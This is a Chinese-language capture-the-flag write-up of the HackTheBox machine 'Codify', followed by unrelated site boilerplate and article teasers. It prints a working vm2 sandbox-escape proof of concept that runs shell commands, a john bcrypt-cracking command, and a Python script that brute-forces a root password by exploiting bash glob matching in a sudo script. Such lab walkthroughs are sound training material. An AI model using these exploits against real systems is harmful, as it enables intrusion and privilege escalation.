[渗透测试学习] Codify - HackTheBox

首先nmap扫描端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.239

在这里插入图片描述
扫出来三个端口,22端口为ssh服务,80端口有http服务,3000端口为nodejs框架
尝试访问下80端口,发现页面重定向
在这里插入图片描述将该域名添加到hosts里

sudo vim /etc/hosts 

成功访问
在这里插入图片描述发现提供的代码编辑器是vm2沙箱,搜了下相关文章发现存在漏洞
在这里插入图片描述poc如下(参考链接)

const {VM} = require("vm2");
const vm = new VM();const code = `
err = {};
const handler = {getPrototypeOf(target) {(function stack() {new Error().stack;stack();})();}
};const proxiedErr = new Proxy(err, handler);
try {throw proxiedErr;
} catch ({constructor: c}) {c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));

成功命令执行
在这里插入图片描述
修改一下,直接反弹shell
在这里插入图片描述我们查看下用户信息

cat /etc/passwd

在这里插入图片描述
当前用户svc,那么我们可以利用的应该就是joshua
我们在/var/www/contact目录下发现个文件tickets.db
在这里插入图片描述
我们用strings命令看一下
得到信息为sqlite数据库,还有用户joshua的密码哈希值
在这里插入图片描述用hashid看下是什么加密,发现是bcrypt
在这里插入图片描述那么使用工具john的参数–format去爆破

john --format=bcrypt -w=/usr/share/wordlists/rockyou.txt hash.txt

得到密码

在这里插入图片描述然后切换下用户joshua
在这里插入图片描述提升交互权限,得到user的flag
在这里插入图片描述
查看下有什么可以利用的命令

sudo -l

在这里插入图片描述
strings命令查看下具体内容
在这里插入图片描述
我们看向关键代码

if [[ $DB_PASS == $USER_PASS ]]; then/usr/bin/echo "Password confirmed!"else/usr/bin/echo "Password confirmation failed!"exit 1

靶机会将我们提交的密码与数据库的密码进行比对,比对成功与否对应不同回显,关键点在于比对是弱等于,也就是说这里的漏洞是由于 Bash 中 [[ ]]内部使用了 == ,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含像 * 或 ? 这样的全局字符,它可能会匹配意外的字符串。
直接盲注,脚本如下

import string  
import subprocess  
all = list(string.ascii_letters + string.digits)  
password = ""  
found = False  while not found:  for character in all:  command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"  output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout  if "Password confirmed!" in output:  password += character  print(password)  break  else:  found = True# password = kljh12k3jhaskjh12kjh3

用scp命令复制到靶机
在这里插入图片描述
成功上传
在这里插入图片描述运行一下得到root密码
在这里插入图片描述

切换成root得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/277364.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决nuxt3生产打包以后运行服务器报错: BScroll.use is not a function

现象: 这个问题在开发环境不存在,但是在打包后的生产环境就会有这个问题 原因分析:从表象上看是better-scoll组件库编译似乎有问题,但真正的原因是better-scroll所依赖的dom元素对象不存在, 这样就导致找不到它对应的api,或者说a…

【Java 集合】ConcurrentLinkedQueue

在日常中, 我们用到的数据结构有很多: 数组, 链表, 树等, 而在这些结构中, 还有一个叫做队列的存在。 和其他的集合相同, Java 原生提供了不同的实现。 而如果我们需要一个线程安全的队列的话, 可以基于实际的场景进行选择, 比如基于数组实现同时操作上会阻塞的 ArrayBlockingQ…

Domino万物可订阅

大家好,才是真的好。 如果你还不知道什么是RSS,从V站截图一份放到这里供大家参考: 其实,Domino上也可以很简单地发布RSS站点,以供内部或外部用户订阅。 前面其实我们说了不少关于Notes客户端的RSS订阅功能&#xff…

ipad协议限制号版

特别声明:仅供学习交流 Applet显示/隐藏显示操作展开操作 POST /api/Applet/GetRandomAvatar 提取一个随机昵称和照片 POST /api/Applet/UploadAvatarImg 上传小程序身份照片 POST /api/Applet/AddAvatar 增加一个小程序身份 POST /api/Applet/OauthSdkApp 授权A…

猫粮哪个牌子质量好性价比高?分享十款主食冻干猫粮品牌排行榜!

一款好的、健康的主粮对猫整体有很大的提升,主食作为猫的日常饮食,直接关乎着小猫是否能摄入充分的营养,达到最佳的理想状态,因此对于每一位铲屎官来说,主食选得好不好至关重要。面对种类众多的主食,很多人…

最大子数组和java实现【动态规划基础练习】

12.15 最大子数组和 给你一个整数数组 nums ,请你找出一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。 子数组 是数组中的一个连续部分。 示例 1: 输入:nums [-2,1,-3,4,-1,2,1,-5,4]…

优先考虑泛型

Java中的泛型(Generics)提供了一种参数化类型的机制,使得你可以编写更灵活、类型安全的代码。下面是一个例子,说明在Java中优先考虑泛型的好处: 考虑一个简单的容器类,它可以存储任意类型的元素&#xff0…

《opencv实用探索·十九》光流法检测运动目标

前言 光流法(Optical Flow)是计算机视觉中的一种技术,用于估计图像中相邻帧之间的像素位移或运动。它是一种用于追踪图像中物体运动的技术,可以在视频中检测并测量物体的运动轨迹。 光流的直观理解: 光流是一个视频中两…

Springboot集成支付宝支付---完整详细步骤

网页操作步骤 1.进入支付宝开发平台—沙箱环境 使用开发者账号登录开放平台控制平台 2.点击沙箱进入沙箱环境 说明:沙箱环境支持的产品,可以在沙箱控制台 沙箱应用 > 产品列表 中查看。 3.进入沙箱,配置接口加签方式 在沙箱进行调试前…

电影《旺卡》观后感

上周看了电影《旺卡》,这部电影可是说是非常好,非常值得去观看,看影片简绍,主角是之前《查理与巧克力工厂》的主人公扮演的。如果说有谁能在现实中造梦想的话,那么自己认为至少在就近的一段时间里,这部影片…

吉林省文旅厅联合高德地图上线自驾游精品线路指南

12月15日消息,今日,吉林省文化和旅游厅联合高德地图推出“吉林省自驾游精品线路指南”,依托全省冬夏两季特色资源,推出了基于位置的8条自驾游品牌路线、百余个吉林省重点旅游场景,游客可以根据季节、地理位置、资源类型…

NPM开发工具的简介和使用方法及代码示例

NPM(Node Package Manager)是Node.js的包管理工具,用于管理和共享被发布到模块仓库的JavaScript代码。本文将介绍NPM的定义、使用方法、代码示例以及总结。 一、NPM的定义 NPM是Node.js的默认包管理工具,它的功能包括安装、管理、…